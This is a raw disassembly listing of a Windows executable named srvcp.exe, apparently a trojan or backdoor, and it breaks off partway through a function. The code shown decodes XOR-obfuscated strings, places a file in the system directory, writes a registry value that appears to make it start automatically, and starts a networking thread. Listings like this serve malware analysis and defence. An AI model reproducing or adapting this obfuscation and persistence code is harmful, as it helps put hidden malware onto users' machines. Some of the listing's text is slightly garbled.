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.text:00401000 ; -----
.text:00401000 ; File Name      : srvcp.exe
.text:00401000 ; Format        : Portable executable for IBM PC (PE)
.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size   : 00004820 ( 18464.)
.text:00401000 ; Section size in file : 00004820 ( 18464.)
.text:00401000 ; Offset to raw data for section: 00000400
.text:00401000 ; Flags 60000020: Text Executable Readable
.text:00401000 ; Alignment     : 16 bytes ?
.text:00401000
.text:00401000      model flat
.text:00401000 ; -----
.text:00401000 ; Segment type: Pure code
.text:00401000 _text      segment para public 'CODE' use32
.text:00401000      assume cs:_text
.text:00401000      ;org 401000h
.text:00401000      assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.text:00401000
.text:00401000 loc_401000:                                ; DATA XREF: sub_401020+A*o
.text:00401000      xor     eax, eax
.text:00401002      inc     eax
.text:00401003      mov     ecx, [esp+4]
.text:00401007      test    dword ptr [ecx+4], 6
.text:0040100E      jz     short locret_40101F
.text:00401010      mov     eax, [esp+8]
.text:00401014      mov     edx, [esp+10h]
.text:00401018      mov     [edx], eax
.text:0040101A      mov     eax, 3
.text:0040101F
.text:0040101F locret_40101F:                                ; CODE XREF: .text:0040100E*j
.text:0040101F      retn
.text:00401020
.text:00401020 ; ////////////////////////////////// S U B R O U T I N E //////////////////////////////////
.text:00401020
.text:00401020 sub_401020      proc near                                ; CODE XREF: .text:0040110D*p
.text:00401020      ; .text:00401138*p
.text:00401020      var_8      = dword ptr -8
.text:00401020      arg_0      = dword ptr 10h
.text:00401020      arg_4      = dword ptr 14h
.text:00401020
.text:00401020      push    ebx
.text:00401021      push    esi
.text:00401022      push    edi
.text:00401023      mov     eax, [esp+arg_0]
.text:00401027      push    eax
.text:00401028      push    0FFFFFFFh
.text:0040102A      push    offset loc_401000
.text:0040102F      push    large dword ptr fs:0
.text:00401036      mov     large fs:0, esp
.text:0040103D
.text:0040103D loc_40103D:                                ; CODE XREF: sub_401020+44*j
.text:0040103D      ; sub_401020+4A*j
.text:0040103D      mov     eax, [esp+10h+arg_0]
.text:00401041      mov     ebx, [eax+8]
.text:00401044      mov     esi, [eax+0Ch]
.text:00401047      cmp     esi, 0FFFFFFFh
.text:0040104A      jz     short loc_40106C
.text:0040104C      cmp     esi, [esp+10h+arg_4]
.text:00401050      jz     short loc_40106C
.text:00401052      lea    esi, [esi+esi*2]
.text:00401055      mov     ecx, [ebx+esi*4]
.text:00401058      mov     ecx, [esp+10h+var_8]
.text:0040105C      mov     ecx, [eax+0Ch]
.text:0040105F      cmp     dword ptr [ebx+esi*4+4], 0
.text:00401064      jnz    short loc_40103D
.text:00401066      call   dword ptr [ebx+esi*4+8]

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.text:0040106A      jmp     short loc_40103D
.text:0040106C      ; -----
.text:0040106C      loc_40106C:      ; CODE XREF: sub_401020+2A*j
.text:0040106C      ; sub_401020+30*j
.text:0040106C      pop     large dword ptr fs:0
.text:00401073      add     esp, 0Ch
.text:00401076      pop     edi
.text:00401077      pop     esi
.text:00401078      pop     ebx
.text:00401079      retn
.text:00401079      sub_401020      endp
.text:0040107A      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:0040107A      ; Attributes: bp-based frame
.text:0040107A      sub_40107A      proc near      ; CODE XREF: .text:00401100*p
.text:0040107A      arg_0          = dword ptr 8
.text:0040107A      push    ebp
.text:0040107B      mov     ebp, esp
.text:0040107D      push    ebx
.text:0040107E      push    esi
.text:0040107F      push    edi
.text:00401080      push    ebp
.text:00401081      push    0
.text:00401083      push    0
.text:00401085      push    offset loc_401092
.text:0040108A      push    [ebp+arg_0]
.text:0040108D      call   RtlUnwind
.text:00401092      loc_401092:    ; DATA XREF: sub_40107A+B*o
.text:00401092      pop     ebp
.text:00401093      pop     edi
.text:00401094      pop     esi
.text:00401095      pop     ebx
.text:00401096      mov     esp, ebp
.text:00401098      pop     ebp
.text:00401099      retn
.text:00401099      sub_40107A      endp
.text:0040109A      ; -----
.text:0040109A      loc_40109A:    ; DATA XREF: start+10*o
.text:0040109A      cld
.text:0040109B      push    ebp
.text:0040109C      mov     ebp, esp
.text:0040109E      sub     esp, 8
.text:004010A1      push    ebx
.text:004010A2      push    esi
.text:004010A3      push    edi
.text:004010A4      push    ebp
.text:004010A5      mov     ebx, [ebp+0Ch]
.text:004010A8      mov     eax, [ebp+8]
.text:004010AB      mov     dword_408028, eax
.text:004010B0      mov     dword_40802C, ebx
.text:004010B6      test   dword ptr [eax+4], 6
.text:004010BD      jnz    short loc_401131
.text:004010BF      mov     [ebp-8], eax
.text:004010C2      mov     eax, [ebp+10h]
.text:004010C5      mov     [ebp-4], eax
.text:004010C8      mov     dword_40802C, eax
.text:004010CD      lea   eax, [ebp-8]
.text:004010D0      mov     [ebx-4], eax
.text:004010D3      mov     esi, [ebx+0Ch]
.text:004010D6      mov     edi, [ebx+8]
.text:004010D9

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.text:004010D9 loc_4010D9:                                ; CODE XREF: .text:0040112B•j
.text:004010D9      cmp     esi, 0FFFFFFFFh
.text:004010DC      jz     short loc_401140
.text:004010DE      lea   ecx, [esi+esi*2]
.text:004010E1      cmp   dword ptr [edi+ecx*4+4], 0
.text:004010E6      jz     short loc_401122
.text:004010E8      push  esi
.text:004010E9      push  ebp
.text:004010EA      lea   ebp, [ebx+10h]
.text:004010ED      call  dword ptr [edi+ecx*4+4]
.text:004010F1      pop   ebp
.text:004010F2      pop   esi
.text:004010F3      mov   ebx, [ebp+0Ch]
.text:004010F6      or    eax, eax
.text:004010F8      jz     short loc_401122
.text:004010FA      js     short loc_40112D
.text:004010FC      mov   edi, [ebx+8]
.text:004010FF      push  ebx
.text:00401100      call  sub_40107A
.text:00401105      add   esp, 4
.text:00401108      lea   ebp, [ebx+10h]
.text:0040110B      push  esi
.text:0040110C      push  ebx
.text:0040110D      call  sub_401020
.text:00401112      add   esp, 8
.text:00401115      lea   ecx, [esi+esi*2]
.text:00401118      mov   eax, [edi+ecx*4]
.text:0040111B      mov   eax, [ebx+0Ch]
.text:0040111E      call  dword ptr [edi+ecx*4+8]
.text:00401122      loc_401122:                                ; CODE XREF: .text:004010E6•j
.text:00401122      ; .text:004010F8•j
.text:00401122      mov   edi, [ebx+8]
.text:00401125      lea   ecx, [esi+esi*2]
.text:00401128      mov   esi, [edi+ecx*4]
.text:0040112B      jmp   short loc_4010D9
; -----
.text:0040112D      loc_40112D:                                ; CODE XREF: .text:004010FA•j
.text:0040112D      xor   eax, eax
.text:0040112F      jmp   short loc_4011A2
; -----
.text:00401131      loc_401131:                                ; CODE XREF: .text:004010BD•j
.text:00401131      push  ebp
.text:00401132      lea   ebp, [ebx+10h]
.text:00401135      push  0FFFFFFFFh
.text:00401137      push  ebx
.text:00401138      call  sub_401020
.text:0040113D      add   esp, 0Ch
.text:00401140      loc_401140:                                ; CODE XREF: .text:004010DC•j
.text:00401140      push  0
.text:00401142      mov   dword_408008, 0Bh
.text:0040114C      push  0Bh
.text:0040114E      call  signal
.text:00401153      add   esp, 8
.text:00401156      or    eax, eax
.text:00401158      jnz   short loc_40117B
.text:0040115A      push  0
.text:0040115C      mov   dword_408008, 8
.text:00401166      push  8
.text:00401168      call  signal
.text:0040116D      add   esp, 8
.text:00401170      or    eax, eax
.text:00401172      jnz   short loc_40117B
.text:00401174      mov   eax, 1
.text:00401179      jmp   short loc_4011A2
; -----
.text:0040117B

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.text:0040117B loc_40117B:                                     ; CODE XREF: .text:00401158*j
.text:0040117B                                             ; .text:00401172*j
.text:0040117B      cmp     eax, 0FFFFFFFh
.text:0040117E      jz      short loc_4011AA
.text:00401180      push   eax
.text:00401181      push   dword_408008
.text:00401187      call  signal
.text:0040118C      add    esp, 8
.text:0040118F      push   dword_408008
.text:00401195      call  raise
.text:0040119A      add    esp, 4
.text:0040119D      mov    eax, 1
.text:004011A2 loc_4011A2:                                             ; CODE XREF: .text:0040112F*j
.text:004011A2                                             ; .text:00401179*j ...
.text:004011A2      pop    ebp
.text:004011A3      pop    edi
.text:004011A4      pop    esi
.text:004011A5      pop    ebx
.text:004011A6      mov    esp, ebp
.text:004011A8      pop    ebp
.text:004011A9      retn
.text:004011AA ; -----
.text:004011AA loc_4011AA:                                     ; CODE XREF: .text:0040117E*j
.text:004011AA      cmp    dword_408024, 0
.text:004011B1      jnz   short loc_4011BA
.text:004011B3      mov    eax, 1
.text:004011B8      jmp   short loc_4011A2
.text:004011BA ; -----
.text:004011BA loc_4011BA:                                     ; CODE XREF: .text:004011B1*j
.text:004011BA      mov    eax, dword_408024
.text:004011BF      push  0Bh
.text:004011C1      jmp   eax
.text:004011C3 ; -----
.text:004011C3      pop    eax
.text:004011C4      mov    eax, 1
.text:004011C9      jmp   short loc_4011A2
.text:004011CB ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:004011CB ; Attributes: bp-based frame
.text:004011CB      public start
.text:004011CB      proc near
.text:004011CB start
.text:004011CB      var_18 = dword ptr -18h
.text:004011CB      var_4  = dword ptr -4
.text:004011CB      mov    eax, large fs:0
.text:004011D1      push   ebp
.text:004011D2      mov    ebp, esp
.text:004011D4      push   0FFFFFFFh
.text:004011D6      push   offset unk_408014
.text:004011DB      push   offset loc_40109A
.text:004011E0      push   eax
.text:004011E1      mov    large fs:0, esp
.text:004011E8      sub    esp, 10h
.text:004011EB      push   ebx
.text:004011EC      push   esi
.text:004011ED      push   edi
.text:004011EE      mov    [ebp+var_18], esp
.text:004011F1      push   offset dword_408020
.text:004011F6      push   offset dword_40801C
.text:004011FB      push   offset dword_408018
.text:00401200      call  __GetMainArgs
.text:00401205      push   dword_408020
.text:0040120B      push   dword_40801C
.text:00401211      push   dword_408018

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.text:00401217      mov     dword_40800C, esp
.text:0040121D      call   sub_4013F0
.text:00401222      add     esp, 18h
.text:00401225      xor     ecx, ecx
.text:00401227      mov     [ebp+var_4], ecx
.text:0040122A      push   eax
.text:0040122B      call   exit
.text:00401230      leave
.text:00401231      retn
.text:00401231      start  endp
.text:00401231      ; -----
.text:00401232      align 4
.text:00401234      mov     large fs:0, eax
.text:0040123A      retn
.text:0040123A      ; -----
.text:0040123B      align 4
.text:0040123C      push   ebp
.text:0040123D      mov     ebp, esp
.text:0040123F      sub     esp, 408h
.text:00401245      push   ebx
.text:00401246      push   esi
.text:00401247      push   edi
.text:00401248      mov     ebx, [ebp+8]
.text:0040124B      mov     ecx, 100h
.text:00401250      xor     edi, edi
.text:00401252      lea    eax, [ebp-401h]
.text:00401258      xchg   eax, edi
.text:00401259      repe  stosd
.text:0040125B      lea    ecx, [ebx]
.text:0040125D      or     eax, 0FFFFFFFFh
.text:00401260      loc_401260:
.text:00401260      ; CODE XREF: .text:00401265*j
.text:00401260      inc     eax
.text:00401261      cmp     byte ptr [ecx+eax], 0
.text:00401265      jnz     short loc_401260
.text:00401267      mov     [ebp-408h], eax
.text:0040126D      lea    ecx, [ebx]
.text:0040126F      or     eax, 0FFFFFFFFh
.text:00401272      loc_401272:
.text:00401272      ; CODE XREF: .text:00401277*j
.text:00401272      inc     eax
.text:00401273      cmp     byte ptr [ecx+eax], 0
.text:00401277      jnz     short loc_401272
.text:00401279      mov     esi, eax
.text:0040127B      jmp     short loc_4012AE
.text:0040127D      ; -----
.text:0040127D      loc_40127D:
.text:0040127D      ; CODE XREF: .text:004012B0*j
.text:0040127D      mov     al, [esi+ebx-1]
.text:00401281      mov     [ebp-1], al
.text:00401284      movsx  edi, byte ptr [ebp-1]
.text:00401288      mov     eax, esi
.text:0040128A      mov     ecx, 1Eh
.text:0040128F      cdq
.text:00401290      idiv   ecx
.text:00401292      mov     ecx, edi
.text:00401294      xor     ecx, edx
.text:00401296      mov     edx, ecx
.text:00401298      mov     [ebp-1], dl
.text:0040129B      mov     eax, [ebp-408h]
.text:004012A1      sub     eax, esi
.text:004012A3      mov     dl, [ebp-1]
.text:004012A6      mov     [ebp+eax-401h], dl
.text:004012AD      dec     esi
.text:004012AE      loc_4012AE:
.text:004012AE      ; CODE XREF: .text:0040127B*j
.text:004012AE      or     esi, esi
.text:004012B0      jg     short loc_40127D
.text:004012B2      lea    eax, [ebp-401h]

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.text:004012B8      push    eax
.text:004012B9      push    ebx
.text:004012BA      call   sub_405608
.text:004012BF      mov     eax, ebx
.text:004012C1      pop     edi
.text:004012C2      pop     esi
.text:004012C3      pop     ebx
.text:004012C4      leave
.text:004012C5      retn

.text:004012C6      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:004012C6      ; Attributes: bp-based frame
.text:004012C6      sub_4012C6      proc near                                ; CODE XREF: sub_4013F0+32*p
.text:004012C6      ; sub_4013F0+3C*p ...
.text:004012C6      var_401        = byte ptr -401h
.text:004012C6      var_1          = byte ptr -1
.text:004012C6      arg_0          = dword ptr 8
.text:004012C6      push    ebp
.text:004012C7      mov     ebp, esp
.text:004012C9      sub     esp, 404h
.text:004012CF      push    ebx
.text:004012D0      push    esi
.text:004012D1      push    edi
.text:004012D2      mov     ecx, 100h
.text:004012D7      xor     edi, edi
.text:004012D9      lea    eax, [ebp+var_401]
.text:004012DF      xchg   eax, edi
.text:004012E0      repe stosd
.text:004012E2      mov     eax, [ebp+arg_0]
.text:004012E5      lea    ecx, [eax]
.text:004012E7      or     eax, 0FFFFFFFh
.text:004012EA      loc_4012EA:                                ; CODE XREF: sub_4012C6+29*j
.text:004012EA      inc     eax
.text:004012EB      cmp     byte ptr [ecx+eax], 0
.text:004012EF      jnz    short loc_4012EA
.text:004012F1      mov     ebx, eax
.text:004012F3      mov     esi, ebx
.text:004012F5      jmp     short loc_40132C
.text:004012F7      ; -----
.text:004012F7      loc_4012F7:                                ; CODE XREF: sub_4012C6+68*j
.text:004012F7      mov     eax, [ebp+arg_0]
.text:004012FA      mov     al, [esi+eax-1]
.text:004012FE      mov     [ebp+var_1], al
.text:00401301      movsx  edi, [ebp+var_1]
.text:00401305      mov     edx, ebx
.text:00401307      sub     edx, esi
.text:00401309      mov     eax, edx
.text:0040130B      inc     eax
.text:0040130C      mov     ecx, 1Eh
.text:00401311      cdq
.text:00401312      idiv   ecx
.text:00401314      mov     ecx, edi
.text:00401316      xor     ecx, edx
.text:00401318      mov     edx, ecx
.text:0040131A      mov     [ebp+var_1], dl
.text:0040131D      mov     eax, ebx
.text:0040131F      sub     eax, esi
.text:00401321      mov     dl, [ebp+var_1]
.text:00401324      mov     [ebp+eax+var_401], dl
.text:0040132B      dec     esi
.text:0040132C      loc_40132C:                                ; CODE XREF: sub_4012C6+2F*j
.text:0040132C      or     esi, esi
.text:0040132E      jg     short loc_4012F7

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.text:00401330      lea     eax, [ebp+var_401]
.text:00401336      push   eax
.text:00401337      push   [ebp+arg_0]
.text:0040133A      call   sub_405608
.text:0040133F      mov    eax, [ebp+arg_0]
.text:00401342      pop    edi
.text:00401343      pop    esi
.text:00401344      pop    ebx
.text:00401345      leave
.text:00401346      retn
.text:00401346      sub_4012C6      endp
.text:00401346
.text:00401347
.text:00401347      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00401347      ; Attributes: bp-based frame
.text:00401347      sub_401347      proc near          ; CODE XREF: sub_40156D+8D5•p
.text:00401347
.text:00401347      var_8          = dword ptr -8
.text:00401347      var_3          = byte ptr -3
.text:00401347      arg_0          = dword ptr 8
.text:00401347      arg_4          = dword ptr 0Ch
.text:00401347
.text:00401347      push   ebp
.text:00401348      mov    ebp, esp
.text:0040134A      push   ecx
.text:0040134B      push   eax
.text:0040134C      push   ebx
.text:0040134D      push   esi
.text:0040134E      push   edi
.text:0040134F      lea   edi, [ebp+var_3]
.text:00401352      lea   esi, ds:408030h
.text:00401358      mov    ecx, 3
.text:0040135D      repe movsb
.text:0040135F      mov    eax, [ebp+arg_4]
.text:00401362      lea   ecx, [eax]
.text:00401364      or    eax, 0FFFFFFFFh
.text:00401367      loc_401367:   ; CODE XREF: sub_401347+25•j
.text:00401367      inc   eax
.text:00401368      cmp   byte ptr [ecx+eax], 0
.text:0040136C      jnz   short loc_401367
.text:0040136E      mov   [ebp+var_8], eax
.text:00401371      mov   ebx, 1
.text:00401376      jmp   short loc_40139A
.text:00401378      ; -----
.text:00401378      loc_401378:   ; CODE XREF: sub_401347+56•j
.text:00401378      mov   eax, ebx
.text:0040137A      mov   ecx, 3
.text:0040137F      cdq
.text:00401380      idiv  ecx
.text:00401382      lea   edi, [ebp+edx+var_3]
.text:00401386      movsx esi, byte ptr [edi]
.text:00401389      mov   edx, [ebp+arg_4]
.text:0040138C      movsx edx, byte ptr [ebx+edx-1]
.text:00401391      mov   ecx, esi
.text:00401393      add   ecx, edx
.text:00401395      mov   edx, ecx
.text:00401397      mov   [edi], dl
.text:00401399      inc   ebx
.text:0040139A      loc_40139A:   ; CODE XREF: sub_401347+2F•j
.text:0040139A      cmp   ebx, [ebp+var_8]
.text:0040139D      jle   short loc_401378
.text:0040139F      mov   eax, [ebp+arg_0]
.text:004013A2      lea   ecx, [eax]
.text:004013A4      or    eax, 0FFFFFFFFh
.text:004013A7

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.text:004013A7 loc_4013A7:                                ; CODE XREF: sub_401347+65*j
.text:004013A7      inc      eax
.text:004013A8      cmp      byte ptr [ecx+eax], 0
.text:004013AC      jnz     short loc_4013A7
.text:004013AE      mov     [ebp+var_8], eax
.text:004013B1      mov     ebx, 1
.text:004013B6      jmp     short loc_4013E2
; -----
.text:004013B8 loc_4013B8:                                ; CODE XREF: sub_401347+9E*j
.text:004013B8      mov     edi, [ebp+arg_0]
.text:004013BB      lea    edi, [ebx+edi-1]
.text:004013BF      movsx  esi, byte ptr [edi]
.text:004013C2      mov     eax, ebx
.text:004013C4      mov     ecx, 3
.text:004013C9      cdq
.text:004013CA      idiv   ecx
.text:004013CC      movsx  eax, [ebp+edx+var_3]
.text:004013D1      mov     ecx, 32h
.text:004013D6      cdq
.text:004013D7      idiv   ecx
.text:004013D9      mov     ecx, esi
.text:004013DB      xor     ecx, edx
.text:004013DD      mov     edx, ecx
.text:004013DF      mov     [edi], dl
.text:004013E1      inc     ebx
; -----
.text:004013E2 loc_4013E2:                                ; CODE XREF: sub_401347+6F*j
.text:004013E2      cmp     ebx, [ebp+var_8]
.text:004013E5      jle    short loc_4013B8
.text:004013E7      mov     eax, [ebp+arg_0]
.text:004013EA      pop     edi
.text:004013EB      pop     esi
.text:004013EC      pop     ebx
.text:004013ED      leave
.text:004013EE      retn
.text:004013EE sub_401347      endp
; -----
.text:004013EF      align 4
; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
; Attributes: bp-based frame
.text:004013F0 sub_4013F0      proc near                                ; CODE XREF: start+52*p
.text:004013F0      WSAData      = WSAData ptr -1B8h
.text:004013F0      ValueName    = byte ptr -25h
.text:004013F0      hKey         = dword ptr -14h
.text:004013F0      Data         = byte ptr -0Eh
.text:004013F0      ExitCode     = dword ptr -4
.text:004013F0      push        ebp
.text:004013F1      mov         ebp, esp
.text:004013F3      sub         esp, 1B8h
.text:004013F9      push        ebx
.text:004013FA      push        esi
.text:004013FB      push        edi
.text:004013FC      lea        edi, [ebp+Data]
.text:004013FF      lea        esi, ds:4081E4h
.text:00401405      mov         ecx, 5
.text:0040140A      repe movsw
.text:0040140D      lea        edi, [ebp+ValueName]
.text:00401410      lea        esi, ds:4081EEh
.text:00401416      mov         ecx, 11h
.text:0040141B      repe movsb
.text:0040141D      push        offset aNhlPwf ; "nhl*pwf"
.text:00401422      call       sub_4012C6
.text:00401427      push        offset aAhkl  ; "|ahkl"

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.text:0040142C      call     sub_4012C6
.text:00401431      push    offset aWtwgr      ; "wtwgr"
.text:00401436      call     sub_4012C6
.text:0040143B      push    offset aCdkk      ; "|cdkk"
.text:00401440      call     sub_4012C6
.text:00401445      push    offset aMfqece    ; "mfqEce"
.text:0040144A      call     sub_4012C6
.text:0040144F      push    offset aHPmfqece  ; "~h`PmfqEce"
.text:00401454      call     sub_4012C6
.text:00401459      push    offset aVYMjQldkg ; "v}~y{*%mj&qldkg"
.text:0040145E      call     sub_4012C6
.text:00401463      push    offset unk_408070
.text:00401468      call     sub_4012C6
.text:0040146D      push    offset aO_atu@vde@ ; "O_ATU@VDE@"
.text:00401472      call     sub_4012C6
.text:00401477      push    offset unk_40808C
.text:0040147C      call     sub_4012C6
.text:00401481      push    96h                ; uSize
.text:00401486      push    offset unk_406400 ; lpBuffer
.text:0040148B      call     GetSystemDirectoryA
.text:00401490      push    offset asc_4086CA ; "\\\"
.text:00401495      push    offset unk_406400
.text:0040149A      call     strcat
.text:0040149F      push    offset aNhlPwf    ; "nhl*pwf"
.text:004014A4      push    offset unk_406400
.text:004014A9      call     strcat
.text:004014AE      add     esp, 38h
.text:004014B1      lea     eax, [ebp+hKey]
.text:004014B4      push    eax                ; phkResult
.text:004014B5      push    0F003Fh           ; samDesired
.text:004014BA      push    0                  ; ulOptions
.text:004014BC      push    offset aSoftwareMicros ; lpSubKey
.text:004014C1      push    80000002h         ; hKey
.text:004014C6      call     RegOpenKeyExA
.text:004014CB      or     eax, eax
.text:004014CD      jnz    short loc_4014FC
.text:004014CF      lea     ecx, [ebp+Data]
.text:004014D2      or     eax, 0FFFFFFFFh
.text:004014D5      loc_4014D5:                ; CODE XREF: sub_4013F0+EA*j
.text:004014D5      inc     eax
.text:004014D6      cmp     byte ptr [ecx+eax], 0
.text:004014DA      jnz    short loc_4014D5
.text:004014DC      add     eax, 1
.text:004014DF      push    eax                ; cbData
.text:004014E0      lea     eax, [ebp+Data]
.text:004014E3      push    eax                ; lpData
.text:004014E4      push    1                  ; dwType
.text:004014E6      push    0                  ; Reserved
.text:004014E8      lea     eax, [ebp+ValueName]
.text:004014EB      push    eax                ; lpValueName
.text:004014EC      push    [ebp+hKey]        ; hKey
.text:004014EF      call     RegSetValueExA
.text:004014F4      push    [ebp+hKey]        ; hKey
.text:004014F7      call     RegCloseKey
.text:004014FC      loc_4014FC:                ; CODE XREF: sub_4013F0+DD*j
.text:004014FC      lea     eax, [ebp+WSAData]
.text:00401502      push    eax                ; lpWSAData
.text:00401503      push    2                  ; wVersionRequested
.text:00401505      call     WSASStartup
.text:0040150A      or     eax, eax
.text:0040150C      jz     short loc_401519
.text:0040150E      push    0                  ; uExitCode
.text:00401510      call     ExitProcess
.text:00401515      xor     eax, eax
.text:00401517      jmp     short loc_401568
.text:00401519      ; -----
.text:00401519      loc_401519:                ; CODE XREF: sub_4013F0+11C*j

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.text:00401519      lea     eax, [ebp+ExitCode]
.text:0040151C      push   eax                ; lpThreadId
.text:0040151D      push   0                  ; dwCreationFlags
.text:0040151F      push   0                  ; lpParameter
.text:00401521      push   offset sub_40156D ; lpStartAddress
.text:00401526      push   0                  ; dwStackSize
.text:00401528      push   0                  ; lpThreadAttributes
.text:0040152A      call   CreateThread
.text:0040152F      mov    ebx, eax
.text:00401531      jmp    short loc_401546
.text:00401533      ; -----
.text:00401533      loc_401533:                ; CODE XREF: sub_4013F0+162.j
.text:00401533      cmp    [ebp+ExitCode], 103h
.text:0040153A      jnz   short loc_401554
.text:0040153C      push   1F4h              ; dwMilliseconds
.text:00401541      call   Sleep
.text:00401546      loc_401546:                ; CODE XREF: sub_4013F0+141.j
.text:00401546      lea   eax, [ebp+ExitCode]
.text:00401549      push   eax                ; lpExitCode
.text:0040154A      push   ebx                ; hThread
.text:0040154B      call   GetExitCodeThread
.text:00401550      or    eax, eax
.text:00401552      jnz   short loc_401533
.text:00401554      loc_401554:                ; CODE XREF: sub_4013F0+14A.j
.text:00401554      push   ebx                ; hObject
.text:00401555      call   CloseHandle
.text:0040155A      call   WSACleanup
.text:0040155F      push   0                  ; uExitCode
.text:00401561      call   ExitProcess
.text:00401566      xor    eax, eax
.text:00401568      loc_401568:                ; CODE XREF: sub_4013F0+127.j
.text:00401568      pop    edi
.text:00401569      pop    esi
.text:0040156A      pop    ebx
.text:0040156B      leave
.text:0040156C      retn
.text:0040156C      sub_4013F0      endp
.text:0040156D      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:0040156D      ; Attributes: bp-based frame
.text:0040156D      sub_40156D      proc near                ; DATA XREF: sub_4013F0+131.o
.text:0040156D      ; sub_40156D+FF2.o
.text:0040156D      var_FDC          = dword ptr -0FDCh
.text:0040156D      var_FD8          = dword ptr -0FD8h
.text:0040156D      ThreadId        = dword ptr -0FD4h
.text:0040156D      var_FD0          = dword ptr -0FD0h
.text:0040156D      var_FCC          = dword ptr -0FCCh
.text:0040156D      var_FC8          = dword ptr -0FC8h
.text:0040156D      var_FC4          = dword ptr -0FC4h
.text:0040156D      var_FC0          = dword ptr -0FC0h
.text:0040156D      var_FBC          = dword ptr -0FBCh
.text:0040156D      var_FB8          = dword ptr -0FB8h
.text:0040156D      hObject         = dword ptr -0FB4h
.text:0040156D      var_FB0          = dword ptr -0FB0h
.text:0040156D      var_FAC          = dword ptr -0FACH
.text:0040156D      var_FA8          = byte ptr -0FA8h
.text:0040156D      var_EB8         = dword ptr -0EB8h
.text:0040156D      var_EB1         = byte ptr -0EB1h
.text:0040156D      var_E9C         = dword ptr -0E9Ch
.text:0040156D      var_E98         = word ptr -0E98h
.text:0040156D      var_E96         = word ptr -0E96h
.text:0040156D      var_E94         = dword ptr -0E94h

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.text:0040156D var_E88           = dword ptr -0E88h
.text:0040156D var_E84           = dword ptr -0E84h
.text:0040156D var_E80           = byte ptr -0E80h
.text:0040156D var_CF0           = dword ptr -0CF0h
.text:0040156D var_CE0           = dword ptr -0CE0h
.text:0040156D var_CD4           = dword ptr -0CD4h
.text:0040156D var_CD0           = dword ptr -0CD0h
.text:0040156D var_CCC           = dword ptr -0CCCh
.text:0040156D var_CC8           = dword ptr -0CC8h
.text:0040156D var_CC1           = byte ptr -0CC1h
.text:0040156D var_CA9           = byte ptr -0CA9h
.text:0040156D hThread          = dword ptr -0CA8h
.text:0040156D var_CA4           = dword ptr -0CA4h
.text:0040156D var_CA0           = dword ptr -0CA0h
.text:0040156D var_C9C           = dword ptr -0C9Ch
.text:0040156D var_C98           = dword ptr -0C98h
.text:0040156D var_C94           = byte ptr -0C94h
.text:0040156D var_C6C           = byte ptr -0C6Ch
.text:0040156D var_C54           = byte ptr -0C54h
.text:0040156D var_BF4           = byte ptr -0BF4h
.text:0040156D s                = dword ptr -7F4h
.text:0040156D var_7F0           = byte ptr -7F0h
.text:0040156D name            = dword ptr -7E8h
.text:0040156D var_7E4           = byte ptr -7E4h
.text:0040156D var_76C           = byte ptr -76Ch
.text:0040156D var_6F5           = byte ptr -6F5h
.text:0040156D var_6F4           = byte ptr -6F4h
.text:0040156D var_67C           = byte ptr -67Ch
.text:0040156D var_600           = byte ptr -600h
.text:0040156D var_588           = dword ptr -588h
.text:0040156D Parameter        = byte ptr -584h
.text:0040156D var_50C           = byte ptr -50Ch
.text:0040156D var_495           = byte ptr -495h
.text:0040156D var_494           = byte ptr -494h
.text:0040156D var_41C           = dword ptr -41Ch
.text:0040156D var_418           = dword ptr -418h
.text:0040156D var_414           = dword ptr -414h
.text:0040156D var_410           = dword ptr -410h
.text:0040156D var_40C           = dword ptr -40Ch
.text:0040156D var_408           = dword ptr -408h
.text:0040156D buf              = byte ptr -404h
.text:0040156D var_4            = dword ptr -4
.text:0040156D arg_0            = dword ptr 8
.text:0040156D
.text:0040156D                push    ebp
.text:0040156E                mov     ebp, esp
.text:00401570                sub     esp, 0FE0h
.text:00401576                push   ebx
.text:00401577                push   esi                ; hThread
.text:00401578                push   edi                ; const char *
.text:00401579                mov     [ebp+var_40C], 0
.text:00401583                mov     [ebp+var_CD0], 0
.text:0040158D                mov     [ebp+var_E88], 0
.text:00401597                mov     [ebp+var_CCC], 0
.text:004015A1                mov     [ebp+var_4], 0
.text:004015A8                mov     [ebp+s], 0
.text:004015B2                mov     esi, [ebp+arg_0]
.text:004015B5                mov     [ebp+var_FC0], 0
.text:004015BF                mov     [ebp+hObject], 0
.text:004015C9                mov     [ebp+var_FB8], 0
.text:004015D3                mov     [ebp+var_FBC], 0
.text:004015DD                mov     [ebp+var_CC8], 0
.text:004015E7                mov     [ebp+var_CD4], 0
.text:004015F1                mov     [ebp+hThread], 0
.text:004015FB                mov     [ebp+var_FC4], 0
.text:00401605                mov     [ebp+var_FC8], 0
.text:0040160F                mov     [ebp+var_FCC], 0
.text:00401619                mov     [ebp+var_FD0], 0
.text:00401623                mov     [ebp+ThreadId], 0
.text:0040162D                mov     [ebp+var_FD8], 0

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.text:00401637      mov     [ebp+var_FDC], 0
.text:00401641      mov     [ebp+var_FB0], 0
.text:0040164B      lea    eax, [ebp+var_7F0]
.text:00401651      push   eax
.text:00401652      lea    eax, [ebp+Parameter]
.text:00401658      push   eax
.text:00401659      push   offset unk_406400
.text:0040165E      call   sub_403333
.text:00401663      push   2Dh
.text:00401665      call   malloc
.text:0040166A      add    esp, 10h
.text:0040166D      mov    [ebp+var_E84], eax
.text:00401673      or     eax, eax
.text:00401675      jz     loc_402D61
.text:0040167B      mov    [ebp+var_4], 0
.text:00401682      jmp    short loc_40169A
.text:00401684      ; -----
.text:00401684      loc_401684:                                     ; CODE XREF: sub_40156D+131*j
.text:00401684      mov    edi, [ebp+var_4]
.text:00401687      mov    edx, [ebp+var_E84]
.text:0040168D      mov    ecx, dword_4080F4[edi*4]
.text:00401694      mov    [edx+edi], cl
.text:00401697      inc    [ebp+var_4]
.text:0040169A      loc_40169A:                                     ; CODE XREF: sub_40156D+115*j
.text:0040169A      cmp    [ebp+var_4], 2Ch
.text:0040169E      jb     short loc_401684
.text:004016A0      mov    eax, [ebp+var_4]
.text:004016A3      inc    eax
.text:004016A4      mov    edx, [ebp+var_E84]
.text:004016AA      mov    byte ptr [edx+eax], 0
.text:004016AE      or     esi, esi
.text:004016B0      jz     short loc_4016D0
.text:004016B2      push   esi
